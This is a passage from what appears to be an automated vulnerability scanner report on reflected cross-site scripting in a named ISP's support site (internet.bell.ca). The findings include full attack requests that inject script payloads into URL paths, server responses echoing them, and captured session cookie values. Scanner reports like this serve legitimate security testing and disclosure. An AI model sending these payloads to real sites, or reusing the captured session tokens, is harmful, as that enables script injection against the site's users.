Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:44 GMT
Connection: close
Set-Cookie: SMSESSION=4aM8xeJe5fVcVkwiouLFQov7qvVM94PYnKcBTLfdJv7/8jPqOUNaD08x/zLp3xHgKXAlXqISJ0fZA4AEY46pKhI06maSJjFpLsoPpQD/Y0ZgR5ePY+bNkyh8m+dHfePzxqKfRzkGq3PaTnrVbYDmzUymSA6upoHJxRi+z7c0EgCU2YA1Io+fcxV7+jG/gQ7X0XIHkHI+jKno8JMRM4gAJdVVguvE4dzhXi9FpjWJsO86T97lPsXRQ5mqFO8RIk9FD2jPdkvXjJHAM8mHT2FKB/Kg7WXL49C40EVEOqmkKnBo/CXLEI83ug==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:45 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:45 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:45 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:45 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:45 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:45 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:45 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:45 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:45 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:45 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/jquery.sifr.js9fb93"><script>alert(1)</script>4dbbea171d6" />
...[SNIP]...

2.64. http://internet.bell.ca/js/multipleSubmitBlocker.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/multipleSubmitBlocker.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 963b4"><script>alert(1)</script>220b22188f0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js963b4"><script>alert(1)</script>220b22188f0/multipleSubmitBlocker.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:26 GMT
Connection: close
Set-Cookie: SMSESSION=GqFN/4PWXw2LurQmVkiNCc16Qc4CaH5L0T5iOEDyhFmdDhfN4wCrMW1pqiPqt9ATGfmRhkWFXsOik2q/iQHnlJlyeKu5Op0qkm8mcUskAMm94IhFNCXB1PJA2URFwcFRb5wehKuI5Ihcvpj/QUjy1e3QLh6VBJzpSgCcYkJcTg95WLPbbkepZ8DX/O7kpTePXWs5vwSfC3QrbGtBdrRvjss971lMsjimbPQ9GH5pUf2IknIJW/qDni3bp30wnE7tngCEJwgh5VH8EruMqCcyd+6w8oSCh1t0zamBCj+ihKazYK7O00TOlg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:27 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:27 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:27 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:27 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:27 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:27 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:27 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:27 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:27 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:27 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js963b4"><script>alert(1)</script>220b22188f0/multipleSubmitBlocker.js" />
...[SNIP]...

2.65. http://internet.bell.ca/js/multipleSubmitBlocker.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/multipleSubmitBlocker.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea59d"><script>alert(1)</script>6bffad97b60 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/multipleSubmitBlocker.jsea59d"><script>alert(1)</script>6bffad97b60 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:44 GMT
Connection: close
Set-Cookie: SMSESSION=Ad6/6f9jTWwOPbq8vEU4yBtopt1lXnLw+Lo/zA1WGwP+SLKlCL4uY20iB6aM/LkKSeFLafb0YVCRMivfKkUPUcIag0oZx2YfRbT1122L4xXDIX/eL6h8c5fv/+F9lPruyXn8ZBYeTxYmU9GO37xCmwnyhf+MmfSTOxAeSBUZweuzaI90bcCN9Ux1C8v5Aqv+bXoMdFXmNLf5HaLaXBZ5jo2GtLhlVBX0HH1au1EJ2d7qIePXwdDphXKZiRYW//vGEc8hUpUAwZr41dDy6sX9KmOMZoE4SHBQKx/OvWiCGT5HR9KaxbDwvw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:44 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:44 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:44 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:44 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:44 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:44 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:44 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:44 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:44 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:44 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/multipleSubmitBlocker.jsea59d"><script>alert(1)</script>6bffad97b60" />
...[SNIP]...

2.66. http://internet.bell.ca/js/tooltip.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/tooltip.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cadd7"><script>alert(1)</script>6a98a71d9f1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /jscadd7"><script>alert(1)</script>6a98a71d9f1/tooltip.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
